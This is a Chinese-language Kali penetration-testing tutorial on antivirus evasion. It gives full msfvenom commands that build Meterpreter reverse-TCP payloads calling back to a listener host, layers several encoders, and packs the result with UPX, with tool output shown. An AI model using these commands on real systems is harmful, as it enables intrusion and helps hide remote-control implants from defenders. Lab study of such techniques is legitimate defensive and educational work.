Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹
长期以来,杀毒软件厂商和黑客一直处于博弈的状态,杀毒软件厂商研究了各种检测和清除远程控制被控端的方法,而黑客也在一直致力于研究避开检测的方法(简称为免杀技术)。远程控制被控端也可被看作病毒的一种。
到目前为止,杀毒软件主要使用了3种技术。如下:
- 基于文件扫描的反病毒技术。这种技术主要依靠对程序的二进制代码进行检测,反病毒工程师将病毒样本中的一段特有的二进制代码串提取出来作为特征码,并将其加入病毒库,检测程序时看它是否包含这个特征码。
- 基于内存扫描的反病毒技术。有的病毒程序可能通过各种手段躲过文件扫描,但是想要达到目的,它就需要运行。病毒程序在运行后会将自身释放到内存中,释放后到文件结构与为执行的文件相比有较大的差异。因此基于内存扫描的反病毒技术使用一套针对内存的特征码来检测病毒程序。
- 基于行为监控的反病毒技术。以上两种技术只能查杀已知病毒,对病毒库中不包含的病毒基本没有办法查杀。而基于行为监控的反病毒技术则会监控程序的行为,如果它在执行后进行一些非正规的、可疑的操作,如修改系统的注册表的重要部分,则会被视作病毒病查杀。
那么黑客的免杀手段是针对杀毒软件发展出来的,免杀手段如下:
修改特征码,就是修改病毒样本中的一段特有的二进制代码串
- 添加花指令,向病毒程序中添加一些无意义的指令,改变程序特征码的位置。
- 程序加密(加壳),程序加壳后就会变成PE(Portable Execute)文件里的一段数据,在执行加壳文件时会先执行壳,再由壳将已加密的程序解密并还原到内存中。
- 前两种免杀手段主要针对基于文件扫描的反病毒技术,第3种免杀手段主要针对基于文件扫描的反病毒技术和基于内存扫描的反病毒技术。黑客在使用远程控制被控端时,通常尽量采用反向连接、尽量对通信加密、尽量避免对系统进行修改等方式来躲避检测。
1. msfvenom提供的免杀方法
使用msfvenom生成攻击载荷,命令如下:
┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -f exe -o /var/payload1.exe
如果将生成的payload1.exe拖拽到Win10或者装有杀毒软件的电脑中,可能被杀端软件发现,就会弹出一个警示窗口,如下图所示:
即便复制过程中没有被查杀,当用户使用杀端软件进行硬盘杀毒操作时,也会出现如上提示。这个过程,杀毒软件使用的是基于文件扫描的反病毒技术, 因为payload1.exe根本还没有运行就被发现了。所以我们应该设法消除payload1.exe的特征码。msfvenom针对这种扫描方式提供了一种混淆编码的解决方案。msf编码器可以将原可执行程序重新编码,生成一个新的二进制文件,这个文件运行后,msf编码器会将原可执行程序解码到内存中并执行。这样就可以在不影响程序执行的前提下,躲避杀毒软件的特征码查杀。我们可以使用如下命令查看msfvenom中支持的编码方式:
┌──(root💀kali)-[~]
└─# msfvenom -l encoders
它们被按照Metasploit里的分类标准分成了7个登记:manual、low、average、normal、good、great、excellent。如下图红框所示:
最常用的编码方式是x86/shikata_ga_nai,它的评级是excellent。我们使用一个评级为low的编码方式x86/nonalpha进行测试。首先执行如下命令:
┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -e x86/nonalpha -f c
参数-e 是选择的编码器,使用x86/nonalpha编码方式得到的Shellcode如下图所示:
注意:这里的输出参数为c,表明这是一段可以在C程序中调用的Shellcode。如果尝试执行两次这条命令,观察生成的Shellcode,发现它们都是相同的, 因此杀毒软件很容易就可以从里面找到特征码进行查杀。
使用编码方式x86/shikata_ga_nai 进行测试,命令如下:
┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -e x86/shikata_ga_nai -f c
第一次生成的Shellcode片段,如下图所示:
第二次生成的Shellcode片段,如下图所示:
对照上面两张图,两次生成的Shellcode虽然功能相同,但是从代码上看已经完全不同,因此这种编码方式格外受到黑客喜爱。因为这里使用的x86/shikata_ga_nai 是多态的,所以有时候生成的文件会被查杀有时候却不会。
有的时候杀毒软件会采用先解码再识别的方式,这时黑客会选择使用多次编码、多重编码的方式。如使用x86/shikata_ga_nai 连续10次编码,再使用其他编码方式,命令如下:
┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f exe -o /var/payload.exe
这里的参数i指定编码的次数,即便是使用多次编码、多重编码,大多数时候仍然会被杀毒软件查杀。如下图所示:
红框内是编码的次数。加壳也是对抗基于文件扫描和内存扫描的反病毒技术的常用手段,Kali Linux中提供了一个很流行的加壳工具UPX,启动方式很简单,命令及输出如下所示:
┌──(root💀kali)-[~]
└─# upx
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..
Commands:
-1 compress faster -9 compress better
-d decompress -l list compressed file
-t test compressed file -V display version number
-h give more help -L display software license
Options:
-q be quiet -v be verbose
-oFILE write output to 'FILE'
-f force compression of suspicious files
-k keep backup files
file.. executables to (de)compress
Type 'upx --help' for more detailed help.
UPX comes with ABSOLUTELY NO WARRANTY; for details visit https://upx.github.io
对上面编码生成的payload.exe文件进行加壳,命令及输出如下所示:
┌──(root💀kali)-[~]
└─# upx /var/payload.exe 1 ⨯
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
File size Ratio Format Name
-------------------- ------ ----------- -----------
73802 -> 48128 65.21% win32/pe payload.exe
Packed 1 file.
编码和加壳之后,此文件拖拽到Win10系统依然被查杀,弹出警告。可以反复多次编码尝试。
接下文 Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(二)https://developer.aliyun.com/article/1618428